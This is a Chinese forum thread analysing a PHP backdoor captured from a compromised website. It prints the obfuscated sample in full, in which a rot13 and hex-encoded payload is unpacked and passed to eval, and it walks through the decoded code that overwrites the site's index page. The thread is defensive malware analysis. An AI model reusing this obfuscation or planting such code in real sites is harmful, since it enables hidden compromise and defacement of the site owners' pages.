君山 发表于 2021-11-22 21:48:13

黑客入侵你网站后写了什么代码_黑客代码解析


一个偶然的机会 , 我们在为客户服务时捕获了一组黑客写的代码

代码写了龙飞凤舞 , 接下来

上代码....

error_reporting(E_ERROR);
$file_path = '/www/wwwroot/club.arpara.net/index.php';

function get_str($dapeng)
{
    $dapeng = str_rot13($dapeng);
    return $dapeng;
}

function s()
{
    $dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
    $dapeng = get_str($dapeng);
    m($dapeng);
}

function get1_str($dapeng1)
{
    return $dapeng1 . "ck";
}

function m($dapeng)
{
    $dapeng1 = "pa";
    $dapeng1 = get1_str($dapeng1);
    $dp = '';
    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}

s();

君山 发表于 2021-11-22 21:54:24

分析黑客代码 S函数
首先我们通过尾部直接执行的代码 来分析这段玩意的执行结果;

代码第32行

s();这个代码 , 是不是很袖珍 , 不注意看 , 竟然不知道这货是个函数 , 我还以为是S君在鼓掌呢!

接下来看看这段执行了什么?

function s()
{
    $dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
    $dapeng = get_str($dapeng);
    m($dapeng);
}

神奇吧 , 是不是看不懂 , 没关系 , 听我猥猥道来;

变量 $dapeng 显然是个字符串;   //PS : 有啥用我们先不管
$dapeng = get_str($dapeng);//赋值操作 , 吧函数返回值赋值 给 $dapeng
m($dapeng);   //执行m函数


卧槽 这里又多了两个函数 ....


所以别着急等下回分解...


君山 发表于 2021-11-22 21:59:47

字符串编码函数 get_str 隐蔽身形

function get_str($dapeng)
{
    $dapeng = str_rot13($dapeng);
    return $dapeng;
}

S函数中 又两个函数 , 先执行的函数 get_str 内部结构非常简单
他是为了不让我们使用DW等工具搜索到相关代码才特意编写的

黑客可以用预先编辑好的特定文本放入 $dapeng 当作字符串
然后在使用 str_rot13 函数进行解码 , 得到黑客想要的数字

这就是为什么我们的网站中了后门后死活都找不到后门文件的原因
当然光凭这点还不足以恶心你...

因为这个变量返回结果其实是这样的

63686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b206966282166696c655f6578697374732827696e6465782e626b2e68746d6c2729297b2069662028636f70792824474c4f42414c535b2766696c655f70617468275d2c2027696e6465782e626b2e68746d6c2729297b207072696e745f7228273c7469746c653e666972737420636f707920737563636573733c2f7469746c653e3c68343e666972737420636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e666972737420636f7079206661696c65643c2f7469746c653e3c68343e666972737420636f7079206661696c65643c2f68343e27293b207d207d656c73657b2069662028636f70792827696e6465782e626b2e68746d6c272c2024474c4f42414c535b2766696c655f70617468275d29297b207072696e745f7228273c7469746c653e636f76657220636f707920737563636573733c2f7469746c653e3c68343e636f76657220636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e636f76657220636f7079206661696c65643c2f7469746c653e3c68343e636f76657220636f7079206661696c65643c2f68343e27293b207d207d2063686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b3b你说说这是个啥 , 你是不是也不知道...
好了 , 一如既往 , 放着不管 ...

我们往下看...

m() 函数...

君山 发表于 2021-11-22 22:04:18

坑爹的M函数 , 燃烧你的猪脑!!!

他的代码是这样的!

function m($dapeng)
{
    $dapeng1 = "pa";
    $dapeng1 = get1_str($dapeng1);
    $dp = '';
    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}


看到这里的童鞋应该知道了 , 这货肯定是想执行啥
但是又不方便写的太明白~~
以免被机智的你花线了~

那么我们还是依照管理 , 来解剖它~

    $dapeng1 = "pa";    //字符串赋值
    $dapeng1 = get1_str($dapeng1);   //函数赋值
    $dp = '';   //空字符赋值

    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);   //执行了某个拼装的命令

好吧我们又多了个要分析的函数 get1_str

下回....

君山 发表于 2021-11-22 22:13:26

pack组装大师 get1_str 函数

他长这样

function get1_str($dapeng1)
{
    return $dapeng1 . "ck";
}

那么从执行他的上层来看
$dapeng1 = "pa";
$dapeng1 = get1_str($dapeng1);

他的执行状态是这样的

function get1_str("pa")
{
    return "pa" . "ck";
}

于是乎 可以得出我们的 $dapeng1 值最终为 "pcak" 字符串;

那么 最后两行

   $dp = '';
   eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);

意思也就很明确了吧

这就是执行 pcak("H*","上面那一长串字符串");

绕了这么一大圈 , 其实就是为了扰乱干扰我们的视线;

那么 PACK 是啥玩意呢 那是 把数据装入一个二进制字符串 官方解释


下回分解吧~


君山 发表于 2021-11-22 22:19:02

最终解析出黑客真正想要执行的代码其实是
$dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = str_rot13($dapeng);
echo pack("H*",$dapeng);

那么我们通过 ECHO 这个结果得出

chmod($GLOBALS['file_path'], 0666);
if(!file_exists('index.bk.html')){
        if (copy($GLOBALS['file_path'], 'index.bk.html')){
                print_r('first copy success');
        }else{
                print_r('first copy failed');
        }
}else{
        if (copy('index.bk.html', $GLOBALS['file_path'])){
                print_r('cover copy success');
        }else{
                print_r('cover copy failed');
        }
}
chmod($GLOBALS['file_path'], 0666);;

君山 发表于 2021-11-22 22:25:27

接下来我们知道 , 为什么 , 我们的index 文件总是被墨名奇妙的更改了



chmod($GLOBALS['file_path'], 0666);// 修改文件权限
if(!file_exists('index.bk.html')){//如果黑客文件不存在
    if (copy($GLOBALS['file_path'], 'index.bk.html')){   //则生成一个文件到黑客控制的目录 (拷贝了文件后会用另一段代码加入一些劫持的头部)
      print_r('first copy success');
    }else{
      print_r('first copy failed');
    }
}else{
    if (copy('index.bk.html', $GLOBALS['file_path'])){//如果文件存在 , 则会直接替换掉你的原有主页
      print_r('cover copy success');
    }else{
      print_r('cover copy failed');
    }
}
chmod($GLOBALS['file_path'], 0666);;// 修改文件权限

至于修改劫持的部分 , 我们很不幸的没拿到 , 这次就不能分析了

总而言之言而总之

学到了吧哈哈...
页: [1]
查看完整版本: 黑客入侵你网站后写了什么代码_黑客代码解析